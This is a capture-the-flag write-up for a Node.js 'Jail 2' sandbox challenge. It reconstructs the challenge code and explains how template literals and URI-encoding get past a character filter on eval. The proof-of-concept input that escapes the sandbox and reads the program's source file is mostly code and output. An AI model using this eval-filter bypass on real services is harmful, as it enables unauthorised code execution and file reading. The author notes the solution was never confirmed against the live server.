Warning: As I found the solution after the server was down. So I could not evaluate if this answer was correct. Please let me know if you found there is any mistake.
Questions:
Phone #> this Calling function call(number) { var line = ""; var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf; if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } if(new RegExp(/with/i).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } arguments = undefined; console.log("Calling "+eval(number)+"... Nobody picks up!"); throw 123; }... Nobody picks up!
Ok, the ‘with’ was filtered, ‘+’, ‘;’ ‘=’ were also filtered?
(╯°Д°)╯ ┻━┻
The following trick I found could bypass the filter of ‘;’
There was feature called Automatic Semicolon Insertion, use {} to wrap every statement could call multiple statement without ‘;’
e.g. {statementA}{statementB} is equivalent to statementA;statementB;
But turned out this was absolutely no use for the pwn…
I could not figure out the answer before the game was ended. This question puzzled me until today.
The trick:模板源文本 (template literals)
Basically, this trick was to concatenate variables, functions, and strings without using ‘+’
e.g. `StringA${VariableB}${FunctionC()}`is equivalent to ‘String A’ + VariableB + FunctionC()
I didn’t (couldn’t) clone the full program of jail2 so I rewrite the Jail 1’s program to the Jail 2 version. Basically I just updated the filter.
var flag = "SECT{iamjail2flag}" var readline = require('readline'); var rl = readline.createInterface(process.stdin, process.stdout); var Jail = (function() { var rv = {}; function call(number) { var line = ""; var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf; if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } if(new RegExp(/with/i).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } arguments = undefined; console.log("Calling "+eval(number)+"... Nobody picks up!"); throw 123; } rv.call = call; rv.toString = function(){return rv.call.toString()}; return rv; })(); template = `_____________________________ || || || || || ||, , ,|| || || (||/|/(\/||/ || || ||| _'_´||| || || || o o || || || (|| - ´||) || || || = || || || ||\\___/|| || ||___||) , (||___|| /||---||-\\_/-||---||\\ / ||--_||_____||_--|| \\ (_(||)-|S555-4202|-(||)_) |"""""""""""""""""""""""""""| | "You get one call, UNO." | """"""""""""""""""""""""""" Phone #> `; function youcanneverguessthisfunction(){ rl.question('previous challenge>',function(answer){ //Jail1 flag if (answer !== 'SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}') { console.log('Wrong!'); process.exit(); } rl.question(template,function(answer){ try{ Jail.call(answer); } catch (e) { process.exit(); } }); }); } youcanneverguessthisfunction();
This is not the original program of Jail2. But I guess it is quite similar to the original one.
POC:
previous challenge>SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,} _____________________________ || || || || || ||, , ,|| || || (||/|/(/||/ || || ||| _'_´||| || || || o o || || || (|| - ´||) || || || = || || || ||\___/|| || ||___||) , (||___|| /||---||-\_/-||---||\ / ||--_||_____||_--|| \ (_(||)-|S555-4202|-(||)_) |"""""""""""""""""""""""""""| | "You get one call, UNO." | """"""""""""""""""""""""""" Phone #> eval(`w${line}ith (root) { eval(decodeURIComponent("module%2Erequire('fs')%2EreadFileSync(__filename)")) }`) Calling var flag = "SECT{iamjail2flag}" var readline = require('readline'); var rl = readline.createInterface(process.stdin, process.stdout); var Jail = (function() { var rv = {}; function call(number) { var line = ""; var call,Array,ArrayBuffer,Boolean,Buffer,DTRACE_HTTP_CLIENT_REQUEST,DTRACE_HTTP_CLIENT_RESPONSE,DTRACE_HTTP_SERVER_REQUEST,DTRACE_HTTP_SERVER_RESPONSE,DTRACE_NET_SERVER_CONNECTION,DTRACE_NET_STREAM_END,DataView,Date,Error,EvalError,Float32Array,Float64Array,Function,Int16Array,Int32Array,Int8Array,Map,Number,Object,Promise,Proxy,RangeError,ReferenceError,Set,String,Symbol,SyntaxError,TypeError,URIError,Uint16Array,Uint32Array,Uint8Array,Uint8ClampedArray,WeakMap,WeakSet,__defineGetter__,__defineSetter__,__lookupGetter__,__lookupSetter__,assert,call,clearImmediate,clearInterval,clearTimeout,constructor,decodeURI,decodeURIComponent,encodeURI,encodeURIComponent,escape,events,flag,global,hasOwnProperty,isFinite,isNaN,isPrototypeOf,parseFloat,parseInt,process,propertyIsEnumerable,require,rl,setImmediate,setInterval,setTimeout,stream,template,toLocaleString,toString,unescape,valueOf; if(new RegExp(/[\[\]\.\\\+\/;,=]/).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } if(new RegExp(/with/i).test(number)){ console.log("Dangerous characters detected"); throw 123; return; } arguments = undefined; console.log("Calling "+eval(number)+"... Nobody picks up!"); throw 123; } rv.call = call; rv.toString = function(){return rv.call.toString()}; return rv; })(); template = `_____________________________ || || || || || ||, , ,|| || || (||/|/(\/||/ || || ||| _'_´||| || || || o o || || || (|| - ´||) || || || = || || || ||\\___/|| || ||___||) , (||___|| /||---||-\\_/-||---||\\ / ||--_||_____||_--|| \\ (_(||)-|S555-4202|-(||)_) |"""""""""""""""""""""""""""| | "You get one call, UNO." | """"""""""""""""""""""""""" Phone #> `; function youcanneverguessthisfunction(){ rl.question('previous challenge>',function(answer){ //Jail1 flag if (answer !== 'SECT{1ts_1n_th4T_pl4Ce_Wh3re_1_Pu7_tH4t_Th1ng_th4T_t1m3,}') { console.log('Wrong!'); process.exit(); } rl.question(template,function(answer){ try{ Jail.call(answer); } catch (e) { process.exit(); } }); }); } youcanneverguessthisfunction(); ... Nobody picks up!
Cheers(?)
發表留言